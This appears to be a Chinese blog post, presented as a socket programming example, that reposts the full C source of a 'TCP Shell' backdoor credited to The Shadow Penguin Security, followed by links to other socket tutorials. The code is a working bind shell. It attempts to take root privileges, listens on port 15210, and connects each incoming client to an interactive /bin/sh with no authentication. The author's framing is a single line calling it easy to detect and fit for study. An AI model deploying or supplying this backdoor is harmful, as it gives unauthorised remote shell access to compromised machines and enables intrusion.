socket编程例子:TCP Shell后门

原创 2004年08月29日 20:51:00

                                               socket编程例子:TCP Shell后门  

                                 很简单很容易被发现,且当作socket编程例子学习吧。

/*=============================================================================
   TCP Shell Version 1.00
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (unewn4th@usa.net)
  =============================================================================
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define MAX_CLIENTS     5           /* Max client num    */
#define PORT_NUM        15210       /* Port              */

void    get_connection(socket_type, port, listener)
int     socket_type;
int     port;
int     *listener;
{
        struct sockaddr_in      address;
        struct sockaddr_in      acc;
        int                     listening_socket;
        int                     connected_socket = -1;
        int                     new_process;
        int                     reuse_addr = 1;
        int                     acclen=sizeof(acc);

        memset((char *) &address, 0, sizeof(address));
        address.sin_family = AF_INET;
        address.sin_port = htons(port);
        address.sin_addr.s_addr = htonl(INADDR_ANY);
        listening_socket = socket(AF_INET, socket_type, 0);
        if (listening_socket < 0) {
          perror("socket");
          exit(1);
        }
        if (listener != NULL) *listener = listening_socket;
        setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
                   (void *)&reuse_addr,sizeof(reuse_addr));
        if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0
){
          perror("bind");
          close(listening_socket);
          exit(1);
        }
        if (socket_type == SOCK_STREAM){
          if (listen(listening_socket, MAX_CLIENTS)==-1){
            perror("listen");
            exit(1);
         }
        }
}
void    sock_puts(sockfd, str)
int     sockfd;
char    *str;
{
        char    x[2000],*buf;
        size_t  bytes_sent = 0;
        int     this_write,count;

        sprintf(x,"/r%s",str);
        count=strlen(x);
        buf=x;
        while (bytes_sent < count) {
                do
                        this_write = write(sockfd, buf, count - bytes_sent);
                while ( (this_write < 0) && (errno == EINTR) );
                if (this_write <= 0) return;
                bytes_sent += this_write;
                buf += this_write;
        }
}
int     main(argc, argv)
int     argc;
char    *argv[];
{
        void            get_connection();
        void            sock_puts();
        int             i,sz;
        int             sock;
        static int      listensock = -1;
        struct sockaddr_in sad;

        setuid(0);
        setgid(0);

        for (;;){
          get_connection(SOCK_STREAM, PORT_NUM, &listensock);
          sz=sizeof(struct sockaddr_in);
          for (;;){
            if ((sock=accept(listensock,(void *)&sad,&sz))==-1){
                perror("Accept");
                exit(1);
            }
            if (fork()==0){
                sock_puts(sock,"The ShadowPenguin Systems Inc. TCP Shell 1.00 De
veloped by 

UNYUN./n");
                for (i=0;i<3;i++){
                    close(i); dup2(sock,i);
                }
                execl("/bin/sh","sh","-i",0);
                close(sock);     
                break;
            }
          }
        }
}

raw socket编程实例

由于最经做模拟TCP三次握手的实验,需要用到raw socket编程。 运行第一段代码,发送ip数据报,第二段代码接收ip数据报。需要运行第二段代码,否则将无法接收数据报。 #include #i...
  • nice_wen
  • nice_wen
  • 2016年12月01日 00:58
  • 1263

linux socket编程以及简单的tcp,udp的例子

linux socket编程以及简单的tcp,udp的例子通过socket编程大致对网路编程的脉络有个大致的了解,如果有不太懂的地方, 咱们可以到网络上查找手册socket的基本操作创建socket...
  • cabing2005
  • cabing2005
  • 2016年11月07日 18:40
  • 4345

[C++] Windows下的socket编程(这是一个简单的TCP/IP例子)

Socket的概念: Socket,即套接字,用于描述地址和端口,是一个通信链的句柄。 应用程序通过Socket像网络发出请求或者回应。 什么事客户/服务器模式: ...
  • winder9898
  • winder9898
  • 2016年07月21日 21:08
  • 1008

linux下TCP Socket编程C语言小实例

几乎是全部按照这个链接上的网址实现的:http://blog.csdn.net/leo115/article/details/8044795   服务器端的代码: #include ...
  • kevin_liu11
  • kevin_liu11
  • 2016年08月24日 22:13
  • 226

Linux Socket编程:基于TCP/IP的客户端与服务端通讯实例

Linux Socket编程:基于TCP/IP的客户端与服务端通讯实例服务端代码#include #include #include #include #include #include i...
  • techping
  • techping
  • 2017年03月29日 17:49
  • 1101

[Linux] c 语言tcp socket 示例从简单到复杂

上面例子是最基本的tcp socket 流程,没有错误处理,下面写一个模块 wrap.c 给socket函数加上错误处理代码包装成新的函数; 服务端也不能接收多个客户端请求,使用fork()函数创建一...
  • tzshlyt
  • tzshlyt
  • 2016年11月19日 14:54
  • 1354

MFC笔记:TCP Socket通信

要说起来,这个才是我第一个接触的MFC项目,想想当时第一次真正自己写MFC,连VS都还不太会用,然后网上下下来别的大神写的例程,都觉得超级深奥,所幸这段难熬的日子终于过去了。   socket在培训...
  • ennika
  • ennika
  • 2015年08月21日 09:10
  • 3711

C++ Socket编程实例解析

Socket socket本质是编程接口(API),对TCP/IP的封装,TCP/IP也要提供可供程序员做网络开发所用的接口,这就是Socket编程接口;HTTP是轿车,提供了封装或者显示数据的具...
  • u012391923
  • u012391923
  • 2016年10月21日 11:57
  • 19110

JAVA 通过 Socket 实现 TCP 编程

简介 所谓socket 通常也称作"**套接字**",用于描述IP地址和端口,是一个通信链的句柄。应用程序通常**通过"套接字"向网络发出请求或者应答网络请求**。 以J2SDK-1.3为例,Soc...
  • qq_23473123
  • qq_23473123
  • 2016年05月20日 17:49
  • 68864

Linux的SOCKET编程详解

这是一篇不错的文章,对socket编程中的原理和要点讲解的都很清楚。 ------------------------------ Linux的SOCKET编程详解 ...
  • chencheng126
  • chencheng126
  • 2015年03月14日 16:40
  • 5966
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:socket编程例子:TCP Shell后门
举报原因:
原因补充:

(最多只允许输入30个字)